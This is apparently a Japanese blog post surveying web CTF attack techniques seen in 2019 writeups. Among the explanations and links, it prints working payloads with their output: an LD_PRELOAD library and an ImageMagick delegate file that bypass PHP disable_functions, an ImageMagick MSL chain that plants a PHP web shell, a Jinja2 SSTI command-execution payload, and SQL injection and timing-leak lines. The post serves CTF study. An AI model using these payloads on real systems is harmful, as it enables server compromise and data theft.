HTML likeコメントを使用したコメントアウト

<記号と/記号がフィルタされている場合に、ブラウザの後方互換性向けの仕様であるHTML likeコメントを使用したコメントアウトにより、JavaScriptの構文エラーを発生させない手法です。

https://jsprimer.net/basic/comments/#html-like-comment から例を抜粋させて頂きます。

<!-- この行はコメントと認識される
console.log("この行はJavaScriptのコードとして実行される");
-->  この行もコメントと認識される

1行目はわかりますが、3行目の>から先もコメントアウトと認識されるのが意外でした。

仕様は以下のリンク先を参照してください。
https://www.ecma-international.org/ecma-262/10.0/index.html#prod-annexB-HTMLCloseComment

jQuery.getJSONのJSONP機能を使用したスクリプト実行

URLにcallback=?を付与すると、jQuery.getJSONでロードするコンテンツをJSONPとして解釈するという仕様を使い、任意のスクリプトを実行する手法です。

仕様は以下のリンク先を参照してください。
https://api.jquery.com/jQuery.getJSON/

DOM Clobberingによるコードハイジャック

DOM Clobberingを利用した手法ですが、まだ解説できるほど理解できていないため、writeupのみの紹介です。

以下のつばめ氏のDOM Clobberingの解説記事および参考資料に目を通して基礎を理解してから読みたいと思います。
https://diary.shift-js.info/dom-clobbering/

Service Workerを利用したスクリプト実行

昨年の記事でもService Workerを使用した手法を紹介しましたが、今年も何問か出題されています。 まだ私自身が使いこなせていないため、練習しておいてスッと使えるようになりたいですね。

XSS Auditor機能のバイパス

Chrome 78から削除されたXSS Auditor機能をバイパスする手法です。

残念ながら、今後同じような問題が出ることは無さそうですが、もしも機能が復活したときに備えて紹介します。

Cross-Site Request Forgeries(CSRF)

HTML5ping属性によるPOSTリクエスト発行

この問題で初めて知ったのですが、HTML5のaタグにping属性があります。 リンク先に遷移するタイミングで、指定したURLにPOSTリクエストを投げることが可能です。 POSTリクエストかどうかのチェックをバイパスしています。

仕様は以下のリンク先を参照してください。
https://developer.mozilla.org/ja/docs/Web/HTML/Element/a

ちなみにping属性の設定先に送信されるデータを確認してみました。 192.168.1.6のWebページからexample.comにリンクを張り、pingの送り先はrequest.binに設定しました。 f:id:graneed:20191229075532p:plain Bodyに色々情報が入っていると思いきや「PING」だけですね。

CSS Injection

Sequential Import Chaining

昨年は、Google CTFやSECCONなど、複数の大会でCSS Injectionを利用する問題が出題されました。

単純なCSS Injectionは、1回のアクセスで1文字しか特定できないため、 アクセスするたびにtokenが変わるケースや、アクセス数に制約があると成立しません。 そこで、@importを使用して再帰的にCSSをimportさせることで、1回のアクセスで複数文字を窃取する手法があります。

手法の解説は以下の記事が参考になります。
https://medium.com/@d0nut/better-exfiltration-via-html-injection-31c72a2dae8b
ツールも公開されています。
https://github.com/d0nutptr/sic

また、今年のAVTokyoではmage氏が応用手法を発表されていました。
http://ja.avtokyo.org/avtokyo2019/speakers#mage
ツールも公開されています。
https://github.com/m---/onsen

SQL Injection

Error-Based SQL Injection

~(False)bigint(unsigned)の最大値になるため、+1するとエラーになります。よって、括弧の中にBooleanを返すselect文をセットしてError-Based SQL Injectionができます。

mysql> select * from user where user=''-(~(select 1=1)+1);
Empty set, 5 warnings (0.00 sec)

mysql> select * from user where user=''-(~(select 1=2)+1);
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(~((1 = 2)) + 1)'

GBKマルチバイト文字を使用した'記号のエスケープのバイパス

'記号の入力チェックがされている場合に、マルチバイト文字を使用してバイパスする手法です。

%bf%27addslashes関数に渡すと、%27('記号)をエスケープするために%5c(\記号)を付けます。 すると、%bf%5c%27になりますが、%bf%5cが中国の文字コードであるGBKにある2バイト文字として解釈されます。 後ろの%27('記号)がそのまま残るため、SQL Injectionに使用できるという手法です。

手法の解説は以下の記事が参考になります。
http://www.securityidiots.com/Web-Pentest/SQL-Injection/addslashes-bypass-sql-injection.html

Remote Code Execution(RCE)

open_basedirをバイパスしてディレクトリリスティング

RCEができてから、phpopen_basedirまたはdisable_functionsにより、FLAGが読めない/シェルが取れないよう制限されている問題が多数ありました。 その制限をバイパスする手法をいくつか紹介します。

open_basedirの制限がかかっている場合に、globを使用してディレクトリとファイル名をリスティングする手法です。

root@kali:/tmp# grep -e ^open_basedir ./php_open_basedir.ini
open_basedir = /tmp

root@kali:/tmp# php -a -c ./php_open_basedir.ini
Interactive mode enabled

php > $it = new DirectoryIterator("glob:///var/*");
PHP Warning:  Uncaught UnexpectedValueException: DirectoryIterator::__construct(): open_basedir restriction in effect. File(/var/*) is not within the allowed path(s): (/tmp) in php shell code:1
Stack trace:
#0 php shell code(1): DirectoryIterator->__construct('glob:///var/*')
#1 {main}
  thrown in php shell code on line 1

php > $it = new DirectoryIterator("glob:///va?/*");

php > foreach($it as $f){echo "{$f}\n";}
backups
cache
lib
local
lock
log
mail
opt
run
spool
tmp
www

open_basedirをバイパスしてファイル読み込み

上述の手法はリスティングまででしたが、ファイル内容の読み取りもできる手法です。

ImageMagickdelegate.xmlを使用したdisable_functionのバイパス

disable_functionsでOSコマンド実行系の関数を抑止されている場合に、 任意のOSコマンド実行を設定したImageMagickdelegate.xmlファイルを作成してから、 ImageMagickインスタンスを生成することで、任意のOSコマンド実行をする手法です。

root@kali:/tmp# grep -e ^disable_function ./php_disable_function.ini
disable_functions = system, exec, shell_exec, passthru, popen, proc_open, pcntl_exec


root@kali:/tmp# php -a -c ./php_disable_function.ini
Interactive mode enabled

php > system("id");
PHP Warning:  system() has been disabled for security reasons in php shell code on line 1

php > file_put_contents("delegates.xml","<delegatemap>\n<delegate decode=\"hoge\" command=\"id\"/>\n</delegatemap>");

php > file_put_contents("a.hoge","1234");

php > putenv('MAGICK_CONFIGURE_PATH=./');

php > $img = new Imagick('/tmp/a.hoge');
uid=0(root) gid=0(root) groups=0(root)
PHP Warning:  Uncaught ImagickException: unable to open image `/tmp/magick-985377-UH__aWNsvfz': No such file or directory @ error/blob.c/OpenBlob/2874 in php shell code:1
Stack trace:
#0 php shell code(1): Imagick->__construct('/tmp/a.hoge')
#1 {main}
  thrown in php shell code on line 1

PHP-FPMのUNIXドメインソケットファイルを使用したdisable_functionsのバイパス

disable_functionsでOSコマンド実行系の関数を抑止されている場合に、 UNIXドメインソケットファイルを経由して任意のOSコマンド実行をする手法です。

2つのwriteupともに、ソケットファイルに書き込むデータはGopherusで生成したペイロードを利用しているようです。
https://github.com/tarunkant/Gopherus

LD_PRELOADを使用したdisable_functionsのバイパス

disable_functionsでOSコマンド実行系の関数を抑止されているが、ファイルのアップロードが可能かつputenv関数で環境変数を設定可能な場合に、 LD_PRELOAD環境変数を上書きしてsoファイルをロードさせて、任意のOSコマンド実行をする手法です。

root@kali:~/CTF/Lab# cat exploit.c
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>

uid_t getuid(void){
    unsetenv("LD_PRELOAD");
    system("id");
    return 1;
}

root@kali:~/CTF/Lab# gcc -shared exploit.c -o exploit.so

root@kali:~/CTF/Lab# php -a -c ./php_disable_function.ini
Interactive mode enabled

php > putenv('LD_PRELOAD=./exploit.so');
php > mail('a','a','a','a');
uid=0(root) gid=0(root) groups=0(root)

手法の解説は以下の記事が参考になります。
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD/

ツールもあります。
https://github.com/TarlogicSecurity/Chankro/

多くの問題で使用されています。非想定の解法としても使用されており、使いこなしたい手法の一つです。

MySQL Client Attack

MySQLの接続時に、MySQLサーバからクライアントにファイル読み取り要求を返すことで、クライアントのファイルを窃取することが可能な脆弱性がありました。 そこで、別の脆弱性を使用して、ターゲットサーバのWebアプリケーション(MySQLクライアント)の接続先を自分のMySQLサーバに向けさせて、FLAGファイルの読み取り要求を返すことで、FLAGファイルを窃取する手法です。 なお、MySQLクライアントの最新版では既に修正されています。

ツール化もされています。
https://github.com/lcark/MysqlClientAttack

MySQL Client Attack Chain

MySQL Client Atttackの応用編で、あらかじめ別の方法でpharファイルをターゲットサーバに配備してから、phar:///tmp/filename.pharの形式でpharファイル読み取り要求を返すことで、ターゲットサーバ内でpharファイルのunserializeが走り、pharファイル内に仕込んだコードを実行させる手法です。

https://github.com/knownsec/404-Team-ShowCase/blob/master/20190801-TSec-Comprehensive%20analysis%20of%20the%20mysql%20client%20attack%20chain(%E5%85%AC%E5%BC%80%E7%89%88).pdf

ImageMagickのMagnificent Shell Landing(MSL)を利用したWebShell配置

ImageMagickがサポートしているMSLという形式のファイルにconvert機能をかけると、画像ファイルのコピーができます。

別途、WebShellのコードを埋め込んだ画像ファイルを用意しておくことで、 WebサーバにWebShellを配置することができます。

root@kali:/var/www/html/upload# ll
total 88
-rw-r--r-- 1 root root   270 Dec 29 09:35 exploit1.svg
-rw-r--r-- 1 root root   163 Dec 29 09:36 exploit2.svg
-rw-r--r-- 1 root root 80461 Dec 29 09:34 shell.png

root@kali:/var/www/html/upload# cat exploit1.svg
<?xml version="1.0" encoding="UTF-8" ?>
<!-- <svg> -->
<image>
  <read filename="/var/www/html/upload/shell.png" />
  <write filename="/var/www/html/shell.php" />
  <svg width="120px" height="120px">
    <image href="/var/www/html/upload/shell.png" />
  </svg>
</image>

root@kali:/var/www/html/upload# cat exploit2.svg
<?xml version="1.0" encoding="UTF-8"?>
<svg width="120px" height="120px">
  <image width="120" height="120" href="msl:/var/www/html/upload/exploit1.svg" />
</svg>

root@kali:/var/www/html/upload# strings shell.png | grep cmd
<?php system($_GET["cmd"]); ?>

root@kali:/var/www/html/upload# convert exploit2.svg -thumbnail
Aborted

root@kali:/var/www/html/upload# strings /var/www/html/shell.php | grep cmd
<?php system($_GET["cmd"]); ?>

root@kali:/var/www/html/upload# curl localhost/shell.php?cmd=id --output -
(snip)
id=33(www-data) gid=33(www-data) groups=33(www-data)

%tEXtdate:create2019-12-29T09:46:49+09:00/%tEXtdate:modify2019-12-29T09:46:49+09:00S
                                                                                    IENDB`

timing attackによる情報リーク

任意のコードが実行できるが、その結果を直接得られない場合に、 Blind SQL Injectionのように、sleep関数を使用してFLAGファイルを1文字ずつ特定する手法です。

__import__('time').sleep(3) if ord(open('/flag').read()[3]) > 67 else None

Server-Side Template Injection(SSTI)

プロパティの自動探索

SSTIの脆弱性を見つけてから、目的のプロパティにアクセスするまでの道のりが険しい場合があります。 そのようなときに使用可能なスクリプトが、昨年のTokyoWesterns CTF 4th 2018のShrineのwriteupで公開されていました。
https://ctftime.org/writeup/10851

このスクリプトを使用して解くwriteupがありました。

evalの自動探索

SSTIの脆弱性を使用して、OSコマンド実行するためのペイロードは数多く公開されていますが、 __subclasses__()が返すリストの順序が環境によって違っていたりと、環境に合わせたチューニングが面倒な場合があります。

https://github.com/w181496/Web-CTF-Cheatsheet#flaskjinja2に、自動でeval関数を探して実行するペイロード例がありました。

{% for c in [].__class__.__base__.__subclasses__() %}
  {% if c.__name__ == 'catch_warnings' %}
    {% for b in c.__init__.__globals__.values() %}
    {% if b.__class__ == {}.__class__ %}
      {% if 'eval' in b.keys() %}
        {{ b['eval']('__import__("os").popen("id").read()') }}
      {% endif %}
    {% endif %}
    {% endfor %}
  {% endif %}
{% endfor %}

flaskのセッションデコード/エンコード

flask環境でSSTIが成功してSECRET_KEYを窃取した後、セッションを改ざんする場合に、flaskセッションのデコード/エンコードが必要になります。

[flask session decode]等のキーワードでgoogle検索するとツールは多数ありますが、強豪チームのBalsnがflask-unsignというツールを使用していました。
https://github.com/Paradoxis/Flask-Unsign

SECRET_KEYブルートフォースに対応したツールは珍しかったので紹介です。 以下のwriteupではキチンとSECRET_KEYを特定していますが、クソ問guessingが必要な問題が出題された場合に使用できるかもしれません。

フィルターのバイパス

昨年、SSTIの脆弱性があって、フィルター機能をバイパスする問題が多数出題されていました。 今年も何問かありましたが、以下のような結構強めのフィルタをバイパスする問題があったので紹介します。

blacklist = ["config", "self", "request", "[", "]", '"', "_", "+", " ", "join", "%", "%25"]

以下の記事で、バイパス手法がまとまっています。
https://0day.work/jinja2-template-injection-filter-bypasses/

Server-Side Includes (SSI) Injection

この問題で初めて知ったのですが、Server-Side Includesを使用して、サーバ内のファイルを窃取する手法です。

https://en.wikipedia.org/wiki/Server_Side_Includes

Apache HTTP Serverでは、拡張子を.shtmlにするか、SSIを許可する設定が必要となるため、使用できるシーンは中々なさそうですが、ワンチャンあるかもしれないので覚えておくとよさそうです。

Server-Side Request Forgery(SSRF)

RedisにHTTPでアクセス

SSRFの脆弱性を発見後、ネットワーク内部でRedisのポート(6379)が開いている場合に、HTTPリクエストを使用してRedisから情報を窃取する手法です。

手法の解説は以下の記事が参考になります。
https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html

gophertomcatの管理コンソールからWebShellをデプロイ

SSRFの脆弱性を発見後、tomcatの管理コンソールにアクセス可能、且つWARファイルのデプロイが可能な場合に、HTTPリクエストを使用してWebShellをデプロイする手法です。SSRFでおなじみのgopherを使用します。

自分で頑張ることもできますが、専用のツールが公開されています。
https://github.com/pimps/gopher-tomcat-deployer

WebRTC APIを使用してSTUNプロトコルでアクセス

最近のWebブラウザがサポートしているWebRTC APIを使用して、ネットワーク内部のポートにアクセスさせる手法です。

この問題は、インターネットからアクセス可能なWebサーバにURLを送ると、Headless ChromeがURLにアクセスしてくれます。 また、内部ネットワーク(インターネットから直接アクセスできないネットワーク)に、 6666番ポートでサービスが公開されていて、受信データをそのままOSコマンドとして実行してくれます。

6666番ポートにGETやPOSTでOSコマンドを送るJavaScriptを用意して、Headless Chromeにアクセスしてもらえば良さそうですが、 Chromeでは、HTTPでアクセス可能なポート番号に制限をかけているようです。

以下のリンク先を参照ください。この仕様は知らなかったです。
https://superuser.com/questions/188058/which-ports-are-considered-unsafe-by-chrome/188070#188070

そこで、HTTPではなく、WebRTC APIを使用してSTUNプロトコルでアクセスさせることで制限をバイパスしています。

XML External Entity(XXE)

Out-of-band XML External Entity (OOB-XXE)

XXEの脆弱性があるが、レスポンスに処理結果が返ってこない場合に、ターゲットから自分が管理するサーバに情報を送信させる使用する手法です。

手法の解説は以下の記事が参考になります。
https://www.acunetix.com/blog/articles/band-xml-external-entity-oob-xxe/
ツールが公開されています。
https://github.com/lc/230-OOB

サブドメインを使用した情報リーク

上記のOOB-XXEの応用編で、DNS以外のアウトバウンドへの通信が塞がれている場合に、 昨今のマルウェアやウィルス対策ソフトのように、DNSサブドメインを使用してリークさせる方法です。

SVGファイルのアップロードによるXXE

XML形式であるSVGファイルを使用してXXEを行う手法です。

サーバでloadXML関数を使用してSVGファイルを読み込んでいる場合、XXEが発動します。 XSSでもSVGファイルを使用してCSPをバイパスする手法を紹介しましたが、SVGファイルを活用するシーンが多そうです。

Directory Traversal

nginxの設定不備

nginxの設定にミスがあると、http://example.com/hoge/fuga../のような形で、1つ上の階層のファイルを参照できます。

以下のno1zy氏の記事が参考になります。
https://qiita.com/no1zy_sec/items/e541f1c838874ff400bb

Elasticsearch

その名のとおり、Elasticsearchに対する攻撃手法です。 EndpointにElasticsearchのAPIがいて、入力文字列がAPIのパスとしてセットされる場合に、パスを遡って他のインデックスも見ることができます。(当たり前といえば当たり前)

Cache Poisoning

HTTP/0.9のレスポンスをプロキシサーバにキャッシュ

HTTP/0.9でプロキシサーバ経由でページにアクセスし、 プロキシサーバにそのレスポンスデータをキャッシュさせることで、 任意のHTTPレスポンスヘッダーを持つページをターゲットに表示させる手法です。

HTTP/0.9ではHTTPステータスコードやHTTPレスポンスヘッダーを返さない挙動を利用しています。

拡張子偽装による動的ページのキャッシュ

http://example.com/index.php/hogeのようなパスでもindex.phpが動くような場合に、URLの最後を.cssのような静的ファイルの拡張子にしてアクセスすることで、攻撃者が表示したindex.phpをキャッシュの対象にし、その後、キャッシュをターゲットに表示させる手法です。

writeupでは、nonceによるCSPのチェックをパスするために使用しています。

index.phpがCSPでnonceを使用している場合に、http://example.com/index.php/hoge.cssのようなアクセスをすると、そのレスポンスでnonceが手に入り、同時にキャッシュに積まれます。そのキャッシュのnonceは攻撃者にとって既知となるため、adminにキャッシュを踏ませることで、XSS攻撃にnonceを使用できます。

Insecure Deserialization

PHP Generic Gadget Chains

昨年も紹介したPHPGGCですが、今年も使用する問題が出題されています。

PHPGGCは、unserializeに渡すと任意のコードを実行できるペイロードを生成できるツールです。 簡単に言うと、JavaのysoserialのPHP版です。

手法の解説は以下の記事が参考になります。
https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf
ツールはこちらです。
https://github.com/ambionics/phpggc

PHPGGCは頻繁に更新されており、例えば以下のWeb 100の問題も、出題直前に更新されたガジェットにより簡単に解けるようになってしまったため、 急遽、難易度を上げるためにブラックリストによるフィルタ処理を追加したようです。 なお、ブラックリストは、ペイロードの中身を systemsyst\65mのように変換することでバイパスできたようです。

Foreign Function Interface(FFI)を使用したC関数の呼出し

PHP7.4の新仕様であるFFIを使用すると、PHPからCの関数を呼び出しできます。 この問題では、Insecure Deserializationでsystem関数を呼ぶように上書きした上で、任意のOSコマンドを実行する手法でした。

Regular expression Denial of Service(ReDoS)

ReDoSを使用した強制プロセス再起動

正規表現による評価処理の時間が指数関数的にかかるようなデータを送ることで、処理を遅延させたり、プロセスを落としたりする手法です。 ReDoSという手法は、この問題で初めて知りました。

手法の解説はWikipediaにお任せします。
https://en.wikipedia.org/wiki/ReDoS

オンラインで正規表現を試すことが可能なサービスがあるので試してみます。
https://regex101.com/
右上のstepsに注目してください。

f:id:graneed:20191229100418p:plain

f:id:graneed:20191229100215p:plain

f:id:graneed:20191229100225p:plain

このサービスでは一定時間がかかると途中で中断されますが、指数関数的に処理量が増大していることがわかります。

バックトラック処理の制限を利用したPCREチェックのバイパス

ReDoSを防ぐために、PHPではpcre.backtrack_limitでバックトラック処理の数に制限を設けています。

preg_match関数の返り値の説明を見てみます。
https://www.php.net/manual/ja/function.preg-match.php

f:id:graneed:20191229101306p:plain

なるほど。

例えば、以下のような実装をしているとします。

if(preg_match('/SELECT.+FROM.+/is', $input)) {
    die('Error');
}

SELECT flag FROM /*aaaaaaaaaaaaaa*/ flagのようなSQLで、aの部分を1文字増やすと1step増えます。 このstep数がpcre.backtrack_limitの制限にかかると、preg_match関数はFALSEを返却するため、if文の条件に合致せずにチェックをバイパスできます。

手法の解説は以下の記事が参考になります。
https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html

Side Channel Attack

AV Oracle

Windows Defenderには、ファイル内のJavaScriptコード部分を内部エンジンで実行した上で悪性かどうかを判断する機能があり、 その機能を利用してマルウェア検知するかどうかを観察し、情報をリークする手法です。

TokyoWesternsのicchy氏が考案した手法であり、以下の資料が参考になります。
https://westerns.tokyo/wctf2019-gtf/wctf2019-gtf-slides.pdf

CODE BLUE 2019でもこの手法をテーマに登壇していました。
https://www.youtube.com/watch?v=EgKlBfk9H5s

CTFのWeb問題でWindows ServerやIISといった環境は滅多にないため、 バナー情報からこのような環境を確認できたときは、AV Oracleを使用する問題を疑ってもいいかもしれません。

XSS Auditor機能を悪用する手法です。 昨年末の35C3 CTFのfilemanagerで出題されて以降、何度か出題されましたが、Chrome 78から機能削除されてしまいました。

手法の解説は以下の記事が参考になります。
https://www.mbsd.jp/blog/20160407_2.html https://speakerdeck.com/lmt_swallow/gimme-a-bit-exploring-attacks-in-the-post-xss-world

typemustmatchを使用したXS-Leaks

typemustmatch属性を使用したXS-Leaksです。 FireFoxがこの属性をサポートしていましたが、Firefox 68から機能削除されてしまいました。

polyglot

polyglot自体の説明はWikipediaにお任せします。
https://en.wikipedia.org/wiki/Polyglot_(computing)

Wikipediaで説明されているような、1ファイルで異なるプログラミング言語を実装する問題以外に、 画像ファイル形式と目的のファイル形式の、両方で解釈できるファイルを作成する手法も、polyglotと呼んでいます。

今年は、pharファイル形式と画像ファイル形式を組み合わせる問題が多かったです。

Nodejs, python, phpのpolyglot

Nodejsとpythonphpのpolyglotをする問題です。

RCTF 2019から始まったcalcalcalcシリーズの問題で出題されていました。

wbmpと.htaccessファイルのpolyglot

.htaccessファイルとWireless Application Protocol Bitmap Format(wbmpファイル)のpolyglotを行い、 アップロード機能に画像ファイルかどうかのチェックがある場合に、 チェックをパスして.htaccessファイルをアップロードする手法です。

wbmpファイルのフォーマットは以下を参照ください。
https://ja.wikipedia.org/wiki/Wireless_Application_Protocol_Bitmap_Format

wbmpファイルは先頭にNULLバイト(\x00)を設定可能です。

.htaccessファイルはNULLバイトをコメントアウトの開始文字と見なすため、 ファイルの先頭から、wbmpファイル形式として解釈される必要最低限のデータを残し、改行コードで区切れば、 以降は任意の.htaccessファイルの定義が可能となります。

画像ファイルとpharファイルのpolyglot

pharファイルは、ファイルの途中に__HALT_COMPILER()があれば有効な形式として判断されるようです。 pharファイルの作成にあたり、Stubとしてファイルの先頭に任意のデータがセット可能であるため、 画像ファイルとして解釈されるデータをセットすることで、どちらでも解釈可能なファイルが作成できます。

手法の解説は以下の記事が参考になります。
https://www.nc-lp.com/blog/disguise-phar-packages-as-images

以下のwriteupのとおり、色々な画像ファイル形式が使用されています。

言語仕様系

プログラミング言語の仕様をよく確認して解く問題の紹介です。 これらの系統の問題は、よく練られており解いていて楽しいですね。

golangのslice

go言語のsliceを使用した実装で起こしやすいバグを利用して攻略する問題です。

sliceを関数の引数に渡した時の挙動は以下の記事が参考になります。
https://christina04.hatenablog.com/entry/2017/09/26/190000

sliceを複数スレッドで使用した際の挙動は以下の記事が参考になります。
https://medium.com/@cep21/gos-append-is-not-always-thread-safe-a3034db7975

RubyのDir.glob関数の仕様

RubyのDir.glob関数の仕様を確認し、 入力チェックにかからずにディレクトリリスティングやファイル読み込みが可能なペイロードを作成して攻略する問題です。

文字入力チェックのバイパス

XORで文字を生成

使用できる文字の種類に制限がある場合に、XORを使用して別の文字を生み出す方法です。

Unicode表現

JSONでパースする前のデータに対して入力チェックしている場合、Unicode表現(\uXXXX)でチェックをバイパス可能です。

数値文字参照とES6 Unicode literals表現

この問題は、1文字あたり1回しか使用できない制約がある中でXSSをするという面白い問題です。

この制約をクリアするために、数値文字参照とES6 Unicode literals表現を使用します。 例えば、以下のevalの中の文字列はnameを表しています。

<SVG/ONLoAD=eval(n&#97;m\u{65})>

CRとLF以外の改行コード

Unicodeには、<CR><LF>以外にも改行を意味する文字があります。

f:id:graneed:20191229101814p:plain

コマンドプロンプトで,記号を使用

Windowsコマンドプロンプトでは、コマンドに,記号が含まれる場合、以降の文字を2番目のパラメーターとして解釈します。(,を含む。)

これを利用すると、スペース記号なしでcurlコマンドが実行できます。 なお、,記号をURLから除外するために、@記号を使用して,BASIC認証のクレデンシャル情報にしています。

D:\>curl,@example.com
<!doctype html>
<html>
<head>
    <title>Example Domain</title>

Tools

攻撃手法に分類していませんが、writeupで使用されていて有用なツールの紹介です。

JSON Web Token Toolkit

JWTを、デコード、エンコード(署名)するだけであれば、色々なツールや方法がありますが、 このツールは、既知のエクスプロイトのテストや、辞書攻撃など、改ざんのための機能が揃っていて有用です。

https://github.com/ticarpi/jwt_tool

opensslコマンド等を使用してJWTを手作りするパターンも参考までに。

ascii-zip

出力結果がascii文字の範囲になるようなDeflate圧縮をするツールです。

https://github.com/molnarg/ascii-zip

Python random module cracker / predictor

pythonrandomモジュールの乱数を予測するツールです。

https://github.com/tna0y/Python-random-module-cracker

maskprocessor

hashcat用のマスクファイルを高速に生成するツールです。

https://hashcat.net/wiki/doku.php?id=maskprocessor

dvcs-ripper

Webサーバ上に公開されてしまっているバージョン管理システムリポジトリをダウンロードするツールです。 git用のツールはGitToolsが有名ですが、こちらのツールは他のバージョン管理システムもサポートしています。

https://github.com/kost/dvcs-ripper

Bazaarは、この問題で初めて知りました。

サーバ証明書の署名記録の検索サービス

サーバ証明書の署名記録からサブドメインを調査する問題です。

DEF CONの問題であったため、たくさんのwriteupがあり、色々なサービスが使用されていました。
https://transparencyreport.google.com/https/certificates
https://crt.sh/
https://securitytrails.com/

CyberChefのMagic

攻略して得られたFLAGと思わしいデータを、インドのEBCDIC(cp1137)を使用してデコードする問題です。

怪しいデータに直面したら、先頭の数バイトでGoogle検索して調べる他にも、 とりあえずCyberChefのMagicをかけてみるのが良いかもしれません。

この問題を例に試してみます。以下のデータが得られたとします。

\xc6\x93\x81\x87\xc0\xd7\xc8\xd7m\xe2\xa3\x99\x85\x81\x94\xa2m\x81\x99\x85m\xa3\xf0\xf0m\xd4\x81\x89\x95\xe2\xa3\x99\x85\x81\x94\xf0\xd0

Magicをかけてスクロールしてみていくと、Flag文字列が発見できます。

https://gchq.github.io/CyberChef/#recipe=From_Hex('Auto')Magic(3,true,false,'')&input=XHhjNlx4OTNceDgxXHg4N1x4YzBceGQ3XHhjOFx4ZDdtXHhlMlx4YTNceDk5XHg4NVx4ODFceDk0XHhhMm1ceDgxXHg5OVx4ODVtXHhhM1x4ZjBceGYwbVx4ZDRceDgxXHg4OVx4OTVceGUyXHhhM1x4OTlceDg1XHg4MVx4OTRceGYwXHhkMA

ユニークな問題

最後に、ユニークで印象に残った問題を紹介します。

SQLでWebサーバを構築した問題

本来、Webサーバで実施するべき、HTTPリクエストのパースやHTTPレスポンスの生成の処理を含め、全てを巨大なSQLで構築してしまった問題です。

writeupのこの感想が全てです。

No joke, the challenge is one large SQL file. That’s 1730 lines of pure SQL madness.

AWS S3アップロード機能を使用した問題

AWS S3には、ブラウザからHTTP POSTで直接ファイルをアップロードするインターフェースがあり、その機能を使用した問題です。 アップロードにあたりPolicyおよび署名を改ざんしています。

AWSの機能を使用した問題といえば、SSRFを使用して169.254.169.254のメタデータへアクセスする問題や、 パブリックのS3バケットにアクセスする問題がありましたが、このケースは初でした。 こういったパブリッククラウドのサービスに特化した知識も求められるのは面白いですね。

夏時間の切り替えタイミングを使用した問題

このイベントの開催期間が、夏時間の切り替えタイミングである10月の最終日曜日にかかっていることで実現できた問題です。 まさにtimewarp。

最後に

この記事では攻撃手法を軸に整理しましたが、高難度になればなるほど手法を覚えているだけでは解けず、 まずはソースコードやサービスの振る舞いから脆弱性を見つけないと解くことができません。
また、高難度の問題は、過去の別イベントで出た手法が使いまわされるケースは少なく、セキュリティ関連の記事、ホワイトペーパー、カンファレンス資料、各プログラミング言語のリファレンス、使用しているOSSソースコード、Stack Overflowなどの掲示板などを読み漁って手がかりを得ていく必要があります。
とは言え、部分的に手法を使用したり考え方の応用が効くケースもあると思いますので、WebのCTFerのお役に立てば幸いです。

今年もまた実施したこの企画ですが、年末の忙しい時期に始めたこともあり、体力面・精神面でそこそこ負荷がかかりました。 Advent Calendarのスケジュールにも間に合わなかったですし。

来年こそは、少しずつ消化していきたいと今は心に誓うものの、たぶんまた12月頃にまとめてやっているのだろうと思います。
それでは良いお年を。